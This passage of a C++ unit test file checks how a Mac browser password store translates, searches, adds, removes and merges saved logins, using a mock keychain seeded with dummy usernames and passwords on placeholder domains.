PasswordStoreMac(main_thread_runner, db_thread_runner, keychain, login_db) { } using PasswordStoreMac::GetBackgroundTaskRunner; private: virtual ~TestPasswordStoreMac() {} DISALLOW_COPY_AND_ASSIGN(TestPasswordStoreMac); }; } // namespace #pragma mark - class PasswordStoreMacInternalsTest : public testing::Test { public: virtual void SetUp() { MockAppleKeychain::KeychainTestData test_data[] = { // Basic HTML form. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20020601171500Z", "joe_user", "sekrit", false }, // HTML form with path. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "19991231235959Z", "joe_user", "sekrit", false }, // Secure HTML form with path. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTPS, "/secure.html", 0, NULL, "20100908070605Z", "secure_user", "password", false }, // True negative item. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20000101000000Z", "", "", true }, // De-facto negative item, type one. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20000101000000Z", "Password Not Stored", "", false }, // De-facto negative item, type two. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTPS, NULL, 0, NULL, "20000101000000Z", "Password Not Stored", " ", false }, // HTTP auth basic, with port and path. { kSecAuthenticationTypeHTTPBasic, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 4567, "low_security", "19980330100000Z", "basic_auth_user", "basic", false }, // HTTP auth digest, secure. { kSecAuthenticationTypeHTTPDigest, "some.domain.com", kSecProtocolTypeHTTPS, NULL, 0, "high_security", "19980330100000Z", "digest_auth_user", "digest", false }, // An FTP password with an invalid date, for edge-case testing. { kSecAuthenticationTypeDefault, "a.server.com", kSecProtocolTypeFTP, NULL, 0, NULL, "20010203040", "abc", "123", false }, }; keychain_ = new MockAppleKeychain(); for (unsigned int i = 0; i < arraysize(test_data); ++i) { keychain_->AddTestItem(test_data[i]); } } virtual void TearDown() { ExpectCreatesAndFreesBalanced(); ExpectCreatorCodesSet(); delete keychain_; } protected: // Causes a test failure unless everything returned from keychain_'s // ItemCopyAttributesAndData, SearchCreateFromAttributes, and SearchCopyNext // was correctly freed. void ExpectCreatesAndFreesBalanced() { EXPECT_EQ(0, keychain_->UnfreedSearchCount()); EXPECT_EQ(0, keychain_->UnfreedKeychainItemCount()); EXPECT_EQ(0, keychain_->UnfreedAttributeDataCount()); } // Causes a test failure unless any Keychain items added during the test have // their creator code set. void ExpectCreatorCodesSet() { EXPECT_TRUE(keychain_->CreatorCodesSetForAddedItems()); } MockAppleKeychain* keychain_; }; #pragma mark - // Struct used for creation of PasswordForms from static arrays of data. struct PasswordFormData { const PasswordForm::Scheme scheme; const char* signon_realm; const char* origin; const char* action; const wchar_t* submit_element; const wchar_t* username_element; const wchar_t* password_element; const wchar_t* username_value; // Set to NULL for a blacklist entry. const wchar_t* password_value; const bool preferred; const bool ssl_valid; const double creation_time; }; // Creates and returns a new PasswordForm built from form_data. Caller is // responsible for deleting the object when finished with it. static PasswordForm* CreatePasswordFormFromData( const PasswordFormData& form_data) { PasswordForm* form = new PasswordForm(); form->scheme = form_data.scheme; form->preferred = form_data.preferred; form->ssl_valid = form_data.ssl_valid; form->date_created = base::Time::FromDoubleT(form_data.creation_time); if (form_data.signon_realm) form->signon_realm = std::string(form_data.signon_realm); if (form_data.origin) form->origin = GURL(form_data.origin); if (form_data.action) form->action = GURL(form_data.action); if (form_data.submit_element) form->submit_element = WideToUTF16(form_data.submit_element); if (form_data.username_element) form->username_element = WideToUTF16(form_data.username_element); if (form_data.password_element) form->password_element = WideToUTF16(form_data.password_element); if (form_data.username_value) { form->username_value = WideToUTF16(form_data.username_value); if (form_data.password_value) form->password_value = WideToUTF16(form_data.password_value); } else { form->blacklisted_by_user = true; } return form; } // Macro to simplify calling CheckFormsAgainstExpectations with a useful label. #define CHECK_FORMS(forms, expectations, i) \ CheckFormsAgainstExpectations(forms, expectations, #forms, i) // Ensures that the data in |forms| match |expectations|, causing test failures // for any discrepencies. // TODO(stuartmorgan): This is current order-dependent; ideally it shouldn't // matter if |forms| and |expectations| are scrambled. static void CheckFormsAgainstExpectations( const std::vector<PasswordForm*>& forms, const std::vector<PasswordFormData*>& expectations, const char* forms_label, unsigned int test_number) { const unsigned int kBufferSize = 128; char test_label[kBufferSize]; snprintf(test_label, kBufferSize, "%s in test %u", forms_label, test_number); EXPECT_EQ(expectations.size(), forms.size()) << test_label; if (expectations.size() != forms.size()) return; for (unsigned int i = 0; i < expectations.size(); ++i) { snprintf(test_label, kBufferSize, "%s in test %u, item %u", forms_label, test_number, i); PasswordForm* form = forms[i]; PasswordFormData* expectation = expectations[i]; EXPECT_EQ(expectation->scheme, form->scheme) << test_label; EXPECT_EQ(std::string(expectation->signon_realm), form->signon_realm) << test_label; EXPECT_EQ(GURL(expectation->origin), form->origin) << test_label; EXPECT_EQ(GURL(expectation->action), form->action) << test_label; EXPECT_EQ(WideToUTF16(expectation->submit_element), form->submit_element) << test_label; EXPECT_EQ(WideToUTF16(expectation->username_element), form->username_element) << test_label; EXPECT_EQ(WideToUTF16(expectation->password_element), form->password_element) << test_label; if (expectation->username_value) { EXPECT_EQ(WideToUTF16(expectation->username_value), form->username_value) << test_label; EXPECT_EQ(WideToUTF16(expectation->password_value), form->password_value) << test_label; } else { EXPECT_TRUE(form->blacklisted_by_user) << test_label; } EXPECT_EQ(expectation->preferred, form->preferred) << test_label; EXPECT_EQ(expectation->ssl_valid, form->ssl_valid) << test_label; EXPECT_DOUBLE_EQ(expectation->creation_time, form->date_created.ToDoubleT()) << test_label; } } #pragma mark - TEST_F(PasswordStoreMacInternalsTest, TestKeychainToFormTranslation) { typedef struct { const PasswordForm::Scheme scheme; const char* signon_realm; const char* origin; const wchar_t* username; // Set to NULL to check for a blacklist entry. const wchar_t* password; const bool ssl_valid; const int creation_year; const int creation_month; const int creation_day; const int creation_hour; const int creation_minute; const int creation_second; } TestExpectations; TestExpectations expected[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", L"joe_user", L"sekrit", false, 2002, 6, 1, 17, 15, 0 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", L"joe_user", L"sekrit", false, 1999, 12, 31, 23, 59, 59 }, { PasswordForm::SCHEME_HTML, "https://some.domain.com/", "https://some.domain.com/secure.html", L"secure_user", L"password", true, 2010, 9, 8, 7, 6, 5 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", NULL, NULL, false, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", NULL, NULL, false, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_HTML, "https://dont.remember.com/", "https://dont.remember.com/", NULL, NULL, true, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", "http://some.domain.com:4567/insecure.html", L"basic_auth_user", L"basic", false, 1998, 03, 30, 10, 00, 00 }, { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", "https://some.domain.com/", L"digest_auth_user", L"digest", true, 1998, 3, 30, 10, 0, 0 }, // This one gives us an invalid date, which we will treat as a "NULL" date // which is 1601. { PasswordForm::SCHEME_OTHER, "http://a.server.com/", "http://a.server.com/", L"abc", L"123", false, 1601, 1, 1, 0, 0, 0 }, }; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(expected); ++i) { // Create our fake KeychainItemRef; see MockAppleKeychain docs. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(i + 1); PasswordForm form; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form, true); EXPECT_TRUE(parsed) << "In iteration " << i; EXPECT_EQ(expected[i].scheme, form.scheme) << "In iteration " << i; EXPECT_EQ(GURL(expected[i].origin), form.origin) << "In iteration " << i; EXPECT_EQ(expected[i].ssl_valid, form.ssl_valid) << "In iteration " << i; EXPECT_EQ(std::string(expected[i].signon_realm), form.signon_realm) << "In iteration " << i; if (expected[i].username) { EXPECT_EQ(WideToUTF16(expected[i].username), form.username_value) << "In iteration " << i; EXPECT_EQ(WideToUTF16(expected[i].password), form.password_value) << "In iteration " << i; EXPECT_FALSE(form.blacklisted_by_user) << "In iteration " << i; } else { EXPECT_TRUE(form.blacklisted_by_user) << "In iteration " << i; } base::Time::Exploded exploded_time; form.date_created.UTCExplode(&exploded_time); EXPECT_EQ(expected[i].creation_year, exploded_time.year) << "In iteration " << i; EXPECT_EQ(expected[i].creation_month, exploded_time.month) << "In iteration " << i; EXPECT_EQ(expected[i].creation_day, exploded_time.day_of_month) << "In iteration " << i; EXPECT_EQ(expected[i].creation_hour, exploded_time.hour) << "In iteration " << i; EXPECT_EQ(expected[i].creation_minute, exploded_time.minute) << "In iteration " << i; EXPECT_EQ(expected[i].creation_second, exploded_time.second) << "In iteration " << i; } { // Use an invalid ref, to make sure errors are reported. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(99); PasswordForm form; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form, true); EXPECT_FALSE(parsed); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainSearch) { struct TestDataAndExpectation { const PasswordFormData data; const size_t expected_fill_matches; const size_t expected_merge_matches; }; // Most fields are left blank because we don't care about them for searching. TestDataAndExpectation test_data[] = { // An HTML form we've seen. { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 }, 2, 2 }, { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, false, 0 }, 2, 0 }, // An HTML form we haven't seen { { PasswordForm::SCHEME_HTML, "http://www.unseendomain.com/", NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 }, 0, 0 }, // Basic auth that should match. { { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false, 0 }, 1, 1 }, // Basic auth with the wrong port. { { PasswordForm::SCHEME_BASIC, "http://some.domain.com:1111/low_security", NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false, 0 }, 0, 0 }, // Digest auth we've saved under https, visited with http. { { PasswordForm::SCHEME_DIGEST, "http://some.domain.com/high_security", NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, false, 0 }, 0, 0 }, // Digest auth that should match. { { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, true, 0 }, 1, 0 }, // Digest auth with the wrong domain. { { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/other_domain", NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, true, 0 }, 0, 0 }, // Garbage forms should have no matches. { { PasswordForm::SCHEME_HTML, "foo/bar/baz", NULL, NULL, NULL, NULL, NULL, NULL, NULL, false, false, 0 }, 0, 0 }, }; MacKeychainPasswordFormAdapter keychain_adapter(keychain_); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> query_form( CreatePasswordFormFromData(test_data[i].data)); // Check matches treating the form as a fill target. std::vector<PasswordForm*> matching_items = keychain_adapter.PasswordsFillingForm(query_form->signon_realm, query_form->scheme); EXPECT_EQ(test_data[i].expected_fill_matches, matching_items.size()); STLDeleteElements(&matching_items); // Check matches treating the form as a merging target. EXPECT_EQ(test_data[i].expected_merge_matches > 0, keychain_adapter.HasPasswordsMergeableWithForm(*query_form)); std::vector<SecKeychainItemRef> keychain_items; std::vector<internal_keychain_helpers::ItemFormPair> item_form_pairs = internal_keychain_helpers:: ExtractAllKeychainItemAttributesIntoPasswordForms(&keychain_items, *keychain_); matching_items = internal_keychain_helpers::ExtractPasswordsMergeableWithForm( *keychain_, item_form_pairs, *query_form); EXPECT_EQ(test_data[i].expected_merge_matches, matching_items.size()); STLDeleteContainerPairSecondPointers(item_form_pairs.begin(), item_form_pairs.end()); for (std::vector<SecKeychainItemRef>::iterator i = keychain_items.begin(); i != keychain_items.end(); ++i) { keychain_->Free(*i); } STLDeleteElements(&matching_items); // None of the pre-seeded items are owned by us, so none should match an // owned-passwords-only search. matching_items = owned_keychain_adapter.PasswordsFillingForm( query_form->signon_realm, query_form->scheme); EXPECT_EQ(0U, matching_items.size()); STLDeleteElements(&matching_items); } } // Changes just the origin path of |form|. static void SetPasswordFormPath(PasswordForm* form, const char* path) { GURL::Replacements replacement; std::string new_value(path); replacement.SetPathStr(new_value); form->origin = form->origin.ReplaceComponents(replacement); } // Changes just the signon_realm port of |form|. static void SetPasswordFormPort(PasswordForm* form, const char* port) { GURL::Replacements replacement; std::string new_value(port); replacement.SetPortStr(new_value); GURL signon_gurl = GURL(form->signon_realm); form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec(); } // Changes just the signon_ream auth realm of |form|. static void SetPasswordFormRealm(PasswordForm* form, const char* realm) { GURL::Replacements replacement; std::string new_value(realm); replacement.SetPathStr(new_value); GURL signon_gurl = GURL(form->signon_realm); form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec(); } TEST_F(PasswordStoreMacInternalsTest, TestKeychainExactSearch) { MacKeychainPasswordFormAdapter keychain_adapter(keychain_); PasswordFormData base_form_data[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", NULL, true, false, 0 }, { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", "http://some.domain.com:4567/insecure.html", NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, true, false, 0 }, { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", "https://some.domain.com", NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, true, true, 0 }, }; for (unsigned int i = 0; i < arraysize(base_form_data); ++i) { // Create a base form and make sure we find a match. scoped_ptr<PasswordForm> base_form(CreatePasswordFormFromData( base_form_data[i])); EXPECT_TRUE(keychain_adapter.HasPasswordsMergeableWithForm(*base_form)); PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*base_form); EXPECT_TRUE(match != NULL); if (match) { EXPECT_EQ(base_form->scheme, match->scheme); EXPECT_EQ(base_form->origin, match->origin); EXPECT_EQ(base_form->username_value, match->username_value); delete match; } // Make sure that the matching isn't looser than it should be by checking // that slightly altered forms don't match. std::vector<PasswordForm*> modified_forms; modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->username_value = ASCIIToUTF16("wrong_user"); modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormPath(modified_forms.back(), "elsewhere.html"); modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->scheme = PasswordForm::SCHEME_OTHER; modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormPort(modified_forms.back(), "1234"); modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->blacklisted_by_user = true; if (base_form->scheme == PasswordForm::SCHEME_BASIC || base_form->scheme == PasswordForm::SCHEME_DIGEST) { modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormRealm(modified_forms.back(), "incorrect"); } for (unsigned int j = 0; j < modified_forms.size(); ++j) { PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*modified_forms[j]); EXPECT_EQ(NULL, match) << "In modified version " << j << " of base form " << i; } STLDeleteElements(&modified_forms); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainAdd) { struct TestDataAndExpectation { PasswordFormData data; bool should_succeed; }; TestDataAndExpectation test_data[] = { // Test a variety of scheme/port/protocol/path variations. { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, true }, { { PasswordForm::SCHEME_HTML, "https://web.site.com/", "https://web.site.com/", NULL, NULL, NULL, NULL, L"admin", L"p4ssw0rd", false, false, 0 }, true }, { { PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm", "http://a.site.com:2222/", NULL, NULL, NULL, NULL, L"username", L"password", false, false, 0 }, true }, { { PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm", "https://digest.site.com/secure.html", NULL, NULL, NULL, NULL, L"testname", L"testpass", false, false, 0 }, true }, // Make sure that garbage forms are rejected. { { PasswordForm::SCHEME_HTML, "gobbledygook", "gobbledygook", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, false }, // Test that failing to update a duplicate (forced using the magic failure // password; see MockAppleKeychain::ItemModifyAttributesAndData) is // reported. { { PasswordForm::SCHEME_HTML, "http://some.domain.com", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", L"fail_me", false, false, 0 }, false }, }; MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> in_form( CreatePasswordFormFromData(test_data[i].data)); bool add_succeeded = owned_keychain_adapter.AddPassword(*in_form); EXPECT_EQ(test_data[i].should_succeed, add_succeeded); if (add_succeeded) { EXPECT_TRUE(owned_keychain_adapter.HasPasswordsMergeableWithForm( *in_form)); scoped_ptr<PasswordForm> out_form( owned_keychain_adapter.PasswordExactlyMatchingForm(*in_form)); EXPECT_TRUE(out_form.get() != NULL); EXPECT_EQ(out_form->scheme, in_form->scheme); EXPECT_EQ(out_form->signon_realm, in_form->signon_realm); EXPECT_EQ(out_form->origin, in_form->origin); EXPECT_EQ(out_form->username_value, in_form->username_value); EXPECT_EQ(out_form->password_value, in_form->password_value); } } // Test that adding duplicate item updates the existing item. { PasswordFormData data = { PasswordForm::SCHEME_HTML, "http://some.domain.com", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", L"updated_password", false, false, 0 }; scoped_ptr<PasswordForm> update_form(CreatePasswordFormFromData(data)); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); EXPECT_TRUE(keychain_adapter.AddPassword(*update_form)); SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(2); PasswordForm stored_form; internal_keychain_helpers::FillPasswordFormFromKeychainItem(*keychain_, keychain_item, &stored_form, true); EXPECT_EQ(update_form->password_value, stored_form.password_value); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainRemove) { struct TestDataAndExpectation { PasswordFormData data; bool should_succeed; }; TestDataAndExpectation test_data[] = { // Test deletion of an item that we add. { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, true }, // Make sure we don't delete items we don't own. { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", NULL, true, false, 0 }, false }, }; MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); // Add our test item so that we can delete it. PasswordForm* add_form = CreatePasswordFormFromData(test_data[0].data); EXPECT_TRUE(owned_keychain_adapter.AddPassword(*add_form)); delete add_form; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( test_data[i].data)); EXPECT_EQ(test_data[i].should_succeed, owned_keychain_adapter.RemovePassword(*form)); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*form); EXPECT_EQ(test_data[i].should_succeed, match == NULL); if (match) { delete match; } } } TEST_F(PasswordStoreMacInternalsTest, TestFormMatch) { PasswordForm base_form; base_form.signon_realm = std::string("http://some.domain.com/"); base_form.origin = GURL("http://some.domain.com/page.html"); base_form.username_value = ASCIIToUTF16("joe_user"); { // Check that everything unimportant can be changed. PasswordForm different_form(base_form); different_form.username_element = ASCIIToUTF16("username"); different_form.submit_element = ASCIIToUTF16("submit"); different_form.username_element = ASCIIToUTF16("password"); different_form.password_value = ASCIIToUTF16("sekrit"); different_form.action = GURL("http://some.domain.com/action.cgi"); different_form.ssl_valid = true; different_form.preferred = true; different_form.date_created = base::Time::Now(); EXPECT_TRUE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); // Check that path differences don't prevent a match. base_form.origin = GURL("http://some.domain.com/other_page.html"); EXPECT_TRUE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } // Check that any one primary key changing is enough to prevent matching. { PasswordForm different_form(base_form); different_form.scheme = PasswordForm::SCHEME_DIGEST; EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.signon_realm = std::string("http://some.domain.com:8080/"); EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.username_value = ASCIIToUTF16("john.doe"); EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.blacklisted_by_user = true; EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } // Blacklist forms should *never* match for merging, even when identical // (and certainly not when only one is a blacklist entry). { PasswordForm form_a(base_form); form_a.blacklisted_by_user = true; PasswordForm form_b(form_a); EXPECT_FALSE(FormsMatchForMerge(form_a, form_b, STRICT_FORM_MATCH)); } } TEST_F(PasswordStoreMacInternalsTest, TestFormMerge) { // Set up a bunch of test data to use in varying combinations. PasswordFormData keychain_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", L"joe_user", L"sekrit", false, false, 1010101010 }; PasswordFormData keychain_user_1_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "", L"", L"", L"", L"joe_user", L"otherpassword", false, false, 1010101010 }; PasswordFormData keychain_user_2 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", L"john.doe", L"sesame", false, false, 958739876 }; PasswordFormData keychain_blacklist = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", NULL, NULL, false, false, 1010101010 }; PasswordFormData db_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1212121212 }; PasswordFormData db_user_1_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1234567890 }; PasswordFormData db_user_3_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"second-account", L"", true, false, 1240000000 }; PasswordFormData database_blacklist_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/path.html", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", NULL, NULL, true, false, 1212121212 }; PasswordFormData merged_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"sekrit", true, false, 1212121212 }; PasswordFormData merged_user_1_with_db_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"sekrit", true, false, 1234567890 }; PasswordFormData merged_user_1_with_both_paths = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"otherpassword", true, false, 1234567890 }; // Build up the big multi-dimensional array of data sets that will actually // drive the test. Use vectors rather than arrays so that initialization is // simple. enum { KEYCHAIN_INPUT = 0, DATABASE_INPUT, MERGE_OUTPUT, KEYCHAIN_OUTPUT, DATABASE_OUTPUT, MERGE_IO_ARRAY_COUNT // termination marker }; const unsigned int kTestCount = 4; std::vector< std::vector< std::vector<PasswordFormData*> > > test_data( MERGE_IO_ARRAY_COUNT, std::vector< std::vector<PasswordFormData*> >( kTestCount, std::vector<PasswordFormData*>())); unsigned int current_test = 0; // Test a merge with a few accounts in both systems, with partial overlap. CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_2); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path); test_data[DATABASE_INPUT][current_test].push_back(&db_user_3_with_path); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1_with_db_path); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_2); test_data[DATABASE_OUTPUT][current_test].push_back(&db_user_3_with_path); // Test a merge where Chrome has a blacklist entry, and the keychain has // a stored account. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[DATABASE_INPUT][current_test].push_back( &database_blacklist_with_path); // We expect both to be present because a blacklist could be specific to a // subpath, and we want access to the password on other paths. test_data[MERGE_OUTPUT][current_test].push_back( &database_blacklist_with_path); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_1); // Test a merge where Chrome has an account, and Keychain has a blacklist // (from another browser) and the Chrome password data. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_blacklist); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_blacklist); // Test that matches are done using exact path when possible. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1_with_path); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[MERGE_OUTPUT][current_test].push_back( &merged_user_1_with_both_paths); for (unsigned int test_case = 0; test_case <= current_test; ++test_case) { std::vector<PasswordForm*> keychain_forms; for (std::vector<PasswordFormData*>::iterator i = test_data[KEYCHAIN_INPUT][test_case].begin(); i != test_data[KEYCHAIN_INPUT][test_case].end(); ++i) { keychain_forms.push_back(CreatePasswordFormFromData(*(*i))); } std::vector<PasswordForm*> database_forms; for (std::vector<PasswordFormData*>::iterator i = test_data[DATABASE_INPUT][test_case].begin(); i != test_data[DATABASE_INPUT][test_case].end(); ++i) { database_forms.push_back(CreatePasswordFormFromData(*(*i))); } std::vector<PasswordForm*> merged_forms; internal_keychain_helpers::MergePasswordForms(&keychain_forms, &database_forms, &merged_forms); CHECK_FORMS(keychain_forms, test_data[KEYCHAIN_OUTPUT][test_case], test_case); CHECK_FORMS(database_forms, test_data[DATABASE_OUTPUT][test_case], test_case); CHECK_FORMS(merged_forms, test_data[MERGE_OUTPUT][test_case], test_case); STLDeleteElements(&keychain_forms); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } } TEST_F(PasswordStoreMacInternalsTest, TestPasswordBulkLookup) { PasswordFormData db_data[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1212121212 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1234567890 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"second-account", L"", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", "http://dont.remember.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/path.html", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", NULL, NULL, true, false, 1212121212 }, }; std::vector<PasswordForm*> database_forms; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(db_data); ++i) { database_forms.push_back(CreatePasswordFormFromData(db_data[i])); } std::vector<PasswordForm*> merged_forms = internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms); EXPECT_EQ(2U, database_forms.size()); ASSERT_EQ(3U, merged_forms.size()); EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[0]->password_value); EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[1]->password_value); 